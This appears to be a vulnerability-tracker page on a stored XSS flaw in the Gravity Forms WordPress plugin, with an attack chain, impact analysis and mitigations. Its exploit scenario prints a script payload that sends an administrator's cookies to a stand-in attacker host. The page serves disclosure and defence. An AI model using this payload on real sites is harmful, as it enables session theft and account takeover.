Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit crafted form with XSS payload in Product Option
-
DeliveryBypass wp_kses() validation via sanitization mismatch
-
ExploitStore unsanitized payload in database
-
ExecutionAdministrator views entry details
-
PersistExecute JavaScript in admin session
-
ImpactExfiltrate credentials or escalate privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the target WordPress site to have Gravity Forms plugin ≤2.10.0 installed with forms that include Product Option fields (typically e-commerce order forms). The specific vulnerable code path is triggered when: (1) a form with Product Option fields is publicly accessible (not restricted to authenticated users), (2) an attacker can submit form entries (default configuration allows unauthenticated submissions), and (3) a site administrator accesses the Gravity Forms entry details page via the admin panel to view the Order Summary section, which renders the option_label value from view-order-summary.php line 32 without escaping. Exploitation is limited by the requirement for administrator interaction-the payload remains dormant in the database until manually viewed. Forms without Product Option fields or those restricted to authenticated users only are not exploitable via this vector. The Changed scope in CVSS vector (S:C) reflects that the vulnerability bridges the trust boundary from unauthenticated public user to authenticated administrator context. |
| Impact | CVSS 7.2 (High) with network vector, low complexity, no privileges required, and changed scope indicates significant exploitability, but real-world risk requires nuanced assessment. The AV:N/AC:L/PR:N vector suggests easy remote exploitation, but this conflicts with the stored XSS nature requiring administrator interaction (UI:R would be more accurate). The Changed scope (S:C) correctly reflects privilege escalation from unauthenticated to admin context. However, actual exploitation depends on attackers submitting forms and administrators viewing entries-not fully automated. No EPSS score available to assess real-world exploitation probability. Not listed in CISA KEV, indicating no confirmed widespread exploitation. No public POC identified. Primary risk: targeted attacks against sites using Gravity Forms for e-commerce where attackers can submit product orders, then wait for admin review to trigger payload execution. This enables account takeover, data exfiltration, or further WordPress compromise. The CVSS score may overstate automated risk (should include UI:R) but appropriately reflects impact severity given admin-level code execution. Fix version not independently confirmed-requires verification via Gravity Forms changelog reference. |
| Exploit ScenarioDerived | An unauthenticated attacker submits a Gravity Forms order containing a Product Option field with a crafted value like 'Large<script>fetch("https://attacker.com?c="+document.cookie)</script>'. The plugin's validation accepts this because wp_kses() strips the script tags for comparison against legitimate 'Large' option, but stores the full payload. When a site administrator logs into WordPress and views the entry details page to process the order, the Order Summary section outputs the unsanitized option_label, executing the JavaScript that exfiltrates the admin's session cookies to the attacker's server, enabling account takeover. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 02, 2026
Stored XSS in Gravity Forms for WordPress ≤2.10.0 allows unauthenticated remote attackers to inject malicious JavaScript through Product Option field values that execute when administrators view entry details. The flaw exploits a sanitization bypass: the plugin's state validation accepts values matching wp_kses()-cleaned legitimate options but stores the raw unsanitized input, which is then rendered without escaping in the Order Summary view (view-order-summary.php:32). EPSS data not available; no public exploit identified at time of analysis. Vendor patch status requires verification via changelog.
RemediationAI
Upgrade Gravity Forms to the latest version as specified in the official changelog at https://docs.gravityforms.com/gravityforms-change-log/-released patched version not independently confirmed from provided data; administrators must cross-reference CVE-2026-5109 with changelog entries post-2.10.0. Until patching, implement compensating controls: disable Product Option fields on public-facing forms (eliminates attack vector but breaks e-commerce functionality), restrict form submissions to authenticated users only via Gravity Forms settings (reduces attack surface but impacts public forms), implement Web Application Firewall rules to block HTML/JavaScript in Product Option field submissions (may cause false positives with legitimate special characters), and enable Content Security Policy headers to restrict inline script execution (reduces XSS impact but requires compatibility testing). Review existing form entries for suspicious option_label values containing HTML tags or JavaScript before viewing in admin panel. Note that disabling Product Options fundamentally changes form functionality and is only viable for non-commerce forms.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Gravity Forms WordPress plugin (cpe:2.3:a:gravity_forms:gravity_forms), a form builder commonly used for e-commerce with Product Option fields. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The attack exploits a logic flaw in the state validation function: it validates submitted Product Option values by comparing them against legitimate options after applying wp_kses() sanitization (WordPress's HTML/script filtering function), but if the sanitized version matches a valid option, the raw unsanitized payload is stored in the database. When administrators access entry details, the option_label value is output directly in view-order-summary.php line 32 without contextual output escaping, allowing the stored JavaScript to execute in the admin's browser. This represents a sanitization-validation mismatch vulnerability where input validation and output encoding are decoupled.
Know when Gravity Forms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient validation and output escaping of Product Option field values. The vulnerability exists because the state validation function accepts submitted values where the wp_kses()-sanitized version matches a legitimate option value, but then stores the raw unsanitized value in the database. When administrators view entry details via the Order Summary section, the option_label is output directly without escaping (view-order-summary.php line 32), executing the injected JavaScript. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in entry data that will execute whenever an administrator accesses the entry details page.
Executive ViewAI
Gravity Forms for WordPress versions 2.10.0 and earlier contain a stored cross-site scripting (XSS) vulnerability that allows unauthenticated attackers to inject malicious JavaScript through product option fields, which executes when administrators access entry details. This directly compromises administrator accounts and could enable unauthorized access to sensitive form data, customer information, and WordPress backend functions without requiring valid credentials.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict form access to authenticated users only via form-level settings; (2) Disable Product Option field type until patch is available; (3) Implement input validation at the WAF layer to sanitize JavaScript patterns in form submissions; (4) Limit administrator access to entry details to essential personnel only; (5) Enable WordPress security logging and monitor for suspicious entry modifications.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Gravity Forms
View allUnauthenticated arbitrary file upload in the Gravity Forms WordPress plugin through version 3.1.0.4 can lead to remote c
The Clockwork SMS clockwork-test-message.php component has XSS via a crafted "to" parameter in a clockwork-test-message
The Gravity Forms WordPress plugin before 2.7.5 does not escape generated URLs before outputting them in attributes, lea
Unauthenticated PHP object injection in the Gravity Forms WordPress plugin, affecting every version up to and including
Deserialization of Untrusted Data vulnerability in Rocketgenius Inc. Rated high severity (CVSS 8.3), this vulnerability
Arbitrary file upload in Gravity Forms for WordPress (all versions ≤ 3.0.2) allows unauthenticated attackers to write PH
Arbitrary file disclosure in the Gravity Forms WordPress plugin (all versions through 2.10.4) lets unauthenticated attac
Stored cross-site scripting in the Gravity Forms WordPress plugin through 3.1.2 allows unauthenticated form submitters t
Stored cross-site scripting in the Gravity Forms plugin for WordPress, affecting all versions up to and including 3.1.1,
Stored Cross-Site Scripting in the Gravity Forms WordPress plugin (all versions ≤2.10.5) permits unauthenticated attacke
Stored cross-site scripting (XSS) in Gravity Forms WordPress plugin versions ≤2.10.0 allows remote unauthenticated attac
Stored Cross-Site Scripting in Gravity Forms plugin for WordPress through version 2.10.0 allows unauthenticated remote a
EUVD-2026-26741
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB